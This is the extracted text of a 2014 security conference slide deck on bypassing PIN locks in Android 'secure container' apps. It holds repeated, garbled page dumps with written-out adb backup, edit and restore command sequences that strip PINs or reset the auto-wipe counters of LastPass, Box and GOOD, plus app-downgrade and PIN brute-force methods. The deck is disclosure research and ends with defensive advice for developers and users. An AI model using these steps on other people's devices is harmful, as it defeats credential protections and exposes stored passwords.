remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 52: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 53: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

